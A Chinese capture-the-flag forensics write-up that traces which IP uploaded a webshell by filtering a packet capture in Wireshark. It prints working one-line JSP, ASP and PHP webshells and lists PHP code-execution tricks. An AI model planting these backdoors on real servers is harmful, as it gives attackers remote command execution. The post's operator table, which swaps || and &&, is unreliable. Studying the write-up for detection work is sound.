网络数据分析溯源(上传WebShell的IP地址)

释放双眼,带上耳机,听听看~!

0x00 前言

写这篇文章只是为了帮助自己记录一下解题思路已经相关知识。因此本文适合查看攻略的萌新以及一些做完题过来复习一下相关知识的人。

由于笔者水平有限,本文仍然有不少地方需要改进和提高,恳请读者和广大同仁提出宝贵的批评和建议。

0x01 思路分析

背景分析

本题的背景信息告诉了我们有人上传了一段webshell

webshell,这说明我们要只要找到webshell文件就可以找到上传的ip地址了

什么叫webshell?

webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般来说入侵一个网站时,攻击者会把这些asp、php、jsp木马的文件放在该网站的web目录中,和正常没问题的网页文件混淆,它们的命名和正常的文件名很类似,让人无法第一眼看出这是一个后门木马文件。然后攻击者就可以利用web请求的方式控制网站服务器,现实上传下载文件、查看数据库、执行任意程序命令等一系列操作

webshell的分类

①根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)

②根据脚本名称分类:jsp、asp、aspx、php

jsp的简单webshell

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

asp的简单webshell

success!!!!<%eval request("cmd")%>

php的简单webshell

   <?php @eval($_POST['cmd']) ?>

webshell的基本原理

①可执行脚本

HTTP数据包($GET、$POST、$COOKIES、$SERVER[args]等)

②数据传递

③执行传递的数据

1.直接执行(eval、system、passthru等等)

2.文件包含执行(include、require等等)

3.动态函数执行($cmd=”phpinfo”;$cmd();)

4.Curly Syntax执行(${‘ls’})

5.preg_replace(第一个参数存在’/e’)

6.ob_start函数

7.回调函数(array_map等等)

8.反序列化(unserialize等等)

思路分析.续

由上面的webshell知识我们可以知道webshell文件一定是以POST方式传输的,upload、<?php eval($_POST[‘XXX’]);?php>这些字眼是关键字。同时现在大多数webshell文件都是php文件,因此找php文件是我们一会可以第一时间做的事情。

0x02 过滤

下载好文件,打开,直接输入过滤语句

http.request.method == “POST” && http contains “php”

过滤后直接剩下两行数据

我们一条条来看。第一条,拉到最后,直接看到关键字

输入ip地址,直接获得key

0x03 其他的相关知识

 http.request.method==”POST“是一条过滤语句,用于过滤出http协议POST请求的数据出来

下面给出其他常用的过滤语句

http.request.method== "GET" 
http.request.method== "POST" 
http.request.uri =="/img/logo-edu.gif" 
http contains"GET" 
http contains"HTTP/1." 
http.request.method== "GET" && http contains "User-Agent:"

http.request.method:用于过滤所有规定的(后面接的post方式或者get方式)请求方式的http数据包

http contains:用于过滤包含指定字符串(后面接的字符串)的数据包

http.request.uri:用于过滤请求的url(后面接的url)

其他的关键字

eq,== 等于

ne,!= 不等于

gt,> 比…大

lt,< 比…小 ge,>= 大于等于

le,<= 小于等于 and,|| 且 or,&& 或 not,! 取反

WEB安全安全独秀圈

Apache Tomcat 文件包含漏洞(CVE-2020-1938)

2020-4-22 16:52:32

安全独秀圈

分享我上过的一个live课程,如何绕过waf,原理解析以下

2020-4-22 20:45:08

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索